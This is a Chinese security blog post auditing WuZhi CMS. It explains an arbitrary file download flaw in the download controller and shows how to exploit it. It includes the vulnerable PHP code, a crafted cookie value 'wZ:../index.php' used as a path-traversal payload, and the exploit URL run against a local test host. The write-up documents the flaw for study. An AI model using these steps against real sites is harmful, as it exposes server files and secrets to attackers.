Lucifaer's Blog.

五指CMS任意文件下载漏洞

Word count: 717 / Reading time: 3 min
2017/05/09 Share

最近问balis0ng师傅要了份源码来看一看,发现几个比较简单的漏洞,这边记录一下。

0x00 漏洞触发点

/wuzhi/coreframe/app/content/down.phpdown类中的d()方法:

1
2
3
4
5
6
7
8
9
10
11
12
public function d() {
if(isset($GLOBALS['s']) && !empty($GLOBALS['s'])) {
$file = decode($GLOBALS['s']);
if (strpos($file, 'wZ:') !== false) {
$file = str_replace('wZ:',ATTACHMENT_ROOT,$file);
download($file);
} elseif(preg_match('/^http:|https:|ftp:/',$file)) {
//远程地址下载
header("Location:".$file);
}
}
}

可以看到这里并没有对s进行任何处理,直接使用$GLOBALSs参数进行了获取。只要我们可以控制decode($GLOBALS['s'])的值,就可以越权实现任意文件下载。

0x01 具体实现过程

1.1 查看encode是否可逆

为了控制decode($GLOBALS['s'])的值,我们需要看一下是否该encode函数可逆,在/wuzhi/coreframe/core.php

1
2
3
4
function encode($string,$key = '') {
$encode = load_class('encrypt');
return $encode->encode($string,$key);
}

跟进/wuzhi/coreframe/app/core/libs/class/encrypt.class.php

1
2
3
4
5
6
7
8
public function encode($string, $key = '') {
$key = $key == '' ? _KEY : $key;
if($this->_support_mcrypt) {
return base64_encode($this->mcrypt_encode($string, $key));
} else {
return $this->_authcode($string, 'ENCODE', $key);
}
}

继续跟进:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected function _add_cipher_noise($data, $key)
{
$key = md5($key);
$str = '';

for ($i = 0, $j = 0, $ld = strlen($data), $lk = strlen($key); $i < $ld; ++$i, ++$j)
{
if ($j >= $lk)
{
$j = 0;
}

$str .= chr((ord($data[$i]) + ord($key[$j])) % 256);
}

return $str;
}

经过分析,这个加密好像是不可逆的,那么我们就到此为止了么。

1.2 寻找调用encode且可控的模块及函数

我们经过全局搜索,找到了在set_cookie()函数(/wuzhi/coreframe/core.php)中,调用了encode()函数,也就是说,接下来要寻找调用set_cookie()函数,且输出结果可控的模块及方法:

1
2
3
4
5
6
7
function set_cookie($string, $value = '', $time = 0, $encrypt = true) {
$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
$string = COOKIE_PRE.$string;
if($encrypt) $value = encode($value);
setcookie($string, $value, $time, COOKIE_PATH, COOKIE_DOMAIN, $s);
}

全局搜索调用set_cookie()函数的位置,在/wuzhi/coreframe/app/content/index.php发现了可控输入,且根据可控输入生成相应的cookie:

1
2
3
4
5
$cookie_city = $_COOKIE[COOKIE_PRE.'city_key'];
if($cookie_city) {
set_cookie('city',$cookie_city);
$city = $cookie_city;
}

且需要设置的cookie名称为一个系统本身的cookie前缀+city_key。前缀在wuzhi/www/configs/web_config.php

1
define('COOKIE_PRE','aHU_'); //Cookie 前缀

综上,我们只需要将构造好的cookie:

1
2
cookie名:aHU_city_key
cookie值:wZ:../index.php

传入,并获取加密后的值(位于),之后再讲加密的值传入d参数中就可进行任意文件下载。

0x03 利用过程

首先访问http://127.0.0.1:8888/m=content&f=index&v=init。根据上面的分析我们需要设置cookie为:

任意文件下载1

刷新页面,可以看到:

任意文件下载2

cookie名为aHU_city中获得加密后的内容,即为wZ:../index.php

任意文件下载3

之后访问http://127.0.0.1:8888?m=content&f=down&v=d&s=DcR5UIuD2R08LqIz92OW%2Bi0M7gZNCD8o

任意文件下载4

可以看到index.php文件即被下载,实现了任意文件下载。

CATALOG
  1. 1. 0x00 漏洞触发点
  2. 2. 0x01 具体实现过程
    1. 2.1. 1.1 查看encode是否可逆
    2. 2.2. 1.2 寻找调用encode且可控的模块及函数
  3. 3. 0x03 利用过程